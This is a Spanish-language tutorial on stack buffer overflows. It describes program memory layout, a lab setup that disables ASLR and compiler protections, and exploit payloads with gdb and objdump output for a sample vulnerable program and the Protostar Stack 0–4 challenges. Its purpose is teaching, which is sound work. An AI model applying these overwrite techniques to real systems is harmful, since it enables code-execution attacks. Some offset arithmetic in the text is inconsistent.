Stack Overflow

Stack Overflow

Estructura de un programa

Un programa está dividido por zonas: .text, .data y .bss.

TEXT

El .text almacena todas las instrucciones del programa. Para ahorrar recursos está sección es compartida por diferentes instancias del programa, si las hay.

DATA

En .data se almacenan las variables globales o estáticas inicializadas.

BSS

En el .bss se guardan las variables globales o estáticas no inicializadas.

Estas 3 secciones se pueden consultar mediante el comando size program

$ size ejemplo0
   text    data     bss     dec     hex filename
   1837     600       8    2445     98d ejemplo0

STACK

En el stack se guardan las varibles de entorno (nombre y ruta del ejecutable). Los argunemtos (./program arg1 arg2). Variables locales sin inicializar. Cuando una función es llamada el registro Instruction Point (IP) es almacenado en el stack, para saber donde continuar al ejecutar las instrucción RET.

Al IP también se le conoce como Program Counter (PC) o Instruction Address Register (IAR).

Es importante recordar que la pila crece hacia abajo (es decir hacia las direcciones más pequeñas). Pero las variables, por ejemplo un buffer crece hacia arriba.

HEAP

En el heap se guardan las variables dinámicas (cuando usamos malloc() , realloc() o calloc() )

Creando ambiente de pruebas

Puede descargar el .iso de Protostar o bien compilar los programas por usted mismo. Puede usar una VM o un contenedor 32b.

$ docker run --rm -it --privileged --hostname stackoverflow i686/ubuntu bash

Deshabilitar ASLR

Deshabilitar la opción randomize_va_space de Linux. Esto es un mecanismo de aleatorización de memoria. ASLR - Address Space Layout Randomization

ASLR trata de evitar que las direcciones de memoria sean conocidas y así prevenir ataques que dependen del conocimiento de estas direcciones (tipo return2libc y otros). Hardening de binarios

# echo 0 > /proc/sys/kernel/randomize_va_space

Al finalizar las pruebas no olvide habilitarla con:

# echo 2 > /proc/sys/kernel/randomize_va_space

También puede deshabilitar ASLR para una ejecución:

setarch `uname -m` -R ./programa

Si está usando un contenedor Docker, con la opción --privileged esta acción también afectara el host (Sistema Operativo anfitrión). Lo puede comprobar con ejecutando cat /proc/sys/kernel/randomize_va_space en host. Si no creó el contenedor con dicha opción no podrá ejecutar estos comandos.

Compilar

$ gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack program.c -o program

Ejemplos

Ejemplo 0x00 (x86)

La intención de este ejemplo es ejecutar la función overflow() aprovechando el desbordamiento del buffer. Para que sobre escriba la dirección de retorno.

Explotando strcpy()

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

void overflow(char  *arg){
  char buffer[16];
  strcpy(buffer, arg);
  printf("Buffer: %s.\n",buffer);
}

int main(int argc, char **argv){
  if(argc != 2){
    printf("Buffer ingresado: %s\n", argv[0]);
    exit(0);
  }
  overflow(argv[1]);
  return 0;
}

Compilamos

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack ejemplo0x00.c -o ejemplo0x00

Usamos perl para evitar ingresar una cantidad excesiva de caracteres, en este caso 16 letras "A" .

$ ./ejemplo0x00 `perl -e 'print "A"x16'`
Buffer: AAAAAAAAAAAAAAAA.
$ echo $?
0
$ ./ejemplo0x00 `perl -e 'print "A"x17'`
Buffer: AAAAAAAAAAAAAAAAA.
Segmentation fault
$ echo $?
139

Al ingresar solo 16 caracteres, el comando echo $? muestra un 0 que significa que La acción se ha completado satisfactoriamente. Y claramente el error 139 indica Segmentation fault.

$ ./ejemplo0x00 `perl -e 'print "A"x23'`
Buffer: AAAAAAAAAAAAAAAAAAAAAAA.
Bus error
$ ./ejemplo0x00 `perl -e 'print "A"x24'`
Buffer: AAAAAAAAAAAAAAAAAAAAAAAA.
Illegal instruction

Para ver la dirección de memoria de overflow() se puede usar el comando objdump. Y agregarla al final de la cadena. Basta con ingresar esta dirección al final de buffer. La dirreción podría variar.

$ objdump -d ejemplo0x00 | grep overflow
0804846b <overflow>:

Para ser mas exactos se puede usar gdb se puede ver el desplazamiento en donde debemos insertar la dirección del overflow().

(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKK.
Starting program: /home/user/toolsec/Stcak_overflow/ejemplo0x00 AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKK.
Buffer: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKK..

Program received signal SIGSEGV, Segmentation fault.
0x48484848

Como 0x48 es la letra H en ascii. Sería 8 x 4 = 32. En el byte 32 escribiremos la dirección del overflow() de izquierda a derecha (little endian).

$ ./ejemplo0x00 `perl -e 'print "A"x28 . "\x6b\x84\x04\x08"'`
Buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAk�.
Buffer: 0.
Segmentation fault (core dumped)

CTF

Retos obtenidos de Protostar. Los ejecutables se encuentra en la ruta /opt/protostar/bin/. Usuarios: user / user y root / godmode. Y el código y consejos se pueden tomar de Protostar.

Stack 0

Desbordar el buffer para cambiar el valor de la variable modified.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv){
  volatile int modified;
  char buffer[64];
  modified = 0;
  gets(buffer);
  if (modified != 0) {
    printf("you have changed the 'modified' variable\n");
  } else {
    printf("Try again?\n");
  }
}
$ perl -e 'print "a"x76' | ./stack0 
Try again?
$ perl -e 'print "a"x77' | ./stack0 
you have changed the 'modified' variable

Stack 1

Desbordar el buffer para cambiar la variable modified con el valor 0x61626364.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main (int argc, char **argv)
{
    volatile int modified;
    char buffer[64];

    if(argc == 1)
        errx(1, "Please, specify an argument\n");

    modified = 0;
    strcpy(buffer, argv[1]);

    if(modified == 0x61626364)
        printf("You have correctly got the variable to the right value\n");
    else
        printf("Try again, you got 0x%08x\n", modified);

}
$ ./stack1 `perl -e 'print "a"x64 ."\x64\x63\x62\x61"'`

Stack 2

Igual que el anterior pero usando variable una variable de entorno llamada GREENIE para pasar el buffer.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}
$ export GREENIE=`perl -e 'print "a"x64 . "\x0a\x0d\x0a\x0d"'`
$ ./stack2

Stack 3

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
    printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
    volatile int (*fp)();
    char buffer[64];

    fp = 0;

    gets(buffer);
    if(fp) {
            printf("calling function pointer, jumping to 0x%08x\n", fp);
        fp();
    }
}

Tenemos que modificar el puntero de la función fp() por el de la función wun().

$ objdump -d ./stack3 | grep "win"
0804845d <win>:
$ perl -e 'print "a"x64 . "\x5d\x84\x04\x08"' | ./stack3

Stack 4

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
    printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
    char buffer[64];

     gets(buffer);
}
(gdb) run
Starting program: /root/stack4 
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

Program received signal SIGSEGV, Segmentation fault.
0x54545454 in ?? ()

Se produce el error en el byte 54 que es la letra T. 20 x 4 = 80.

$ objdump -d ./stack4 | grep "win"
0804842d <win>:
$ perl -e 'print "a"x76 . "\x2d\x84\x04\x08"' | ./stack4 # (76 + 4)
code flow successfully changed
Segmentation fault (core dumped)

Continuará...


links

social